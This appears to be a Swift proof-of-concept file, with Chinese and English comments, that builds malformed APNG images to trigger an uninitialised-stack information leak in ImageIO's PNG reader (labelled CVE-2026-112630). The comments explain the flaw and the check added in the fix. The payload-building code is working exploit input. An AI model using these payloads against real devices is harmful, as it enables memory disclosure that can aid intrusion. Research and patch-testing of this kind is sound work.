116 lines
4.8 KiB
Swift
116 lines
4.8 KiB
Swift
// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
|
|
// 原语: 信息泄露 · 进程内 · tier 2
|
|
// Primitive: info leak · in-process · tier 2
|
|
//
|
|
// [zh] APNG fcTL 截断 → 栈上未初始化帧几何
|
|
// 在 fcTL 偏移处读取 34 字节，且不检查返回值。当文件在 fcTL 中间被截断时，该 34 字节栈缓冲只有前部被写入，其余部分作为帧宽、高、偏移与延时被解析。
|
|
//
|
|
// [en] APNG fcTL truncation → uninitialised frame geometry on the stack
|
|
// Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file
|
|
// is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is
|
|
// parsed as frame width, height, offsets and delay.
|
|
// ── 判别 / oracle ──
|
|
// 27.2 改为读 26 字节并检查 cmp x0,#0x1a，报 \"*** truncated 'fcTL' chunk at offset %ld\"。
|
|
|
|
import Foundation
|
|
|
|
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PNGPayload) ──
|
|
enum PNGPayload {
|
|
static func apngTruncatedFCTL(mode: Int = 0) -> Data {
|
|
var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
|
|
out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0])
|
|
out += chunk("acTL", B.be32(2) + B.be32(0))
|
|
var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0)
|
|
fctl += B.be16(1) + B.be16(10) + [0, 0]
|
|
|
|
// a real 4x4 RGBA frame so the container itself is valid
|
|
var rawRows: [UInt8] = []
|
|
for _ in 0..<4 {
|
|
rawRows.append(0)
|
|
rawRows += [UInt8](repeating: 0x80, count: 16)
|
|
}
|
|
let idat = chunk("IDAT", zlibStore(rawRows))
|
|
|
|
if mode == 2 {
|
|
// control: a fully valid first fcTL (proves the container is otherwise sound)
|
|
out += chunk("fcTL", fctl)
|
|
out += idat
|
|
out += chunk("IEND", [])
|
|
} else if mode == 0 {
|
|
// proper chunk header claiming 26 bytes, only 4 present, then IEND
|
|
out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4)
|
|
out += idat
|
|
out += chunk("IEND", [])
|
|
} else {
|
|
// file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
|
|
out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4))
|
|
}
|
|
return Data(out)
|
|
}
|
|
|
|
static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] {
|
|
let body = truncateTo.map { Array(data.prefix($0)) } ?? data
|
|
let len = UInt32(declaredLength ?? data.count)
|
|
var out = B.be32(len) + B.ascii(type) + body
|
|
out += B.be32(crc32(B.ascii(type) + body))
|
|
return out
|
|
}
|
|
|
|
static func crc32(_ bytes: [UInt8]) -> UInt32 {
|
|
var table = [UInt32](repeating: 0, count: 256)
|
|
for i in 0..<256 {
|
|
var c = UInt32(i)
|
|
for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) }
|
|
table[i] = c
|
|
}
|
|
var crc: UInt32 = 0xFFFFFFFF
|
|
for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) }
|
|
return crc ^ 0xFFFFFFFF
|
|
}
|
|
|
|
static func zlibStore(_ input: [UInt8]) -> [UInt8] {
|
|
var out: [UInt8] = [0x78, 0x01]
|
|
var offset = 0
|
|
if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] }
|
|
while offset < input.count {
|
|
let take = min(65535, input.count - offset)
|
|
out.append(offset + take >= input.count ? 0x01 : 0x00)
|
|
out += B.le16(UInt16(take))
|
|
out += B.le16(UInt16(~take & 0xFFFF))
|
|
out += Array(input[offset..<(offset + take)])
|
|
offset += take
|
|
}
|
|
var a: UInt32 = 1, b: UInt32 = 0
|
|
for byte in input {
|
|
a = (a + UInt32(byte)) % 65521
|
|
b = (b + a) % 65521
|
|
}
|
|
out += B.be32((b << 16) | a)
|
|
return out
|
|
}
|
|
|
|
}
|
|
|
|
|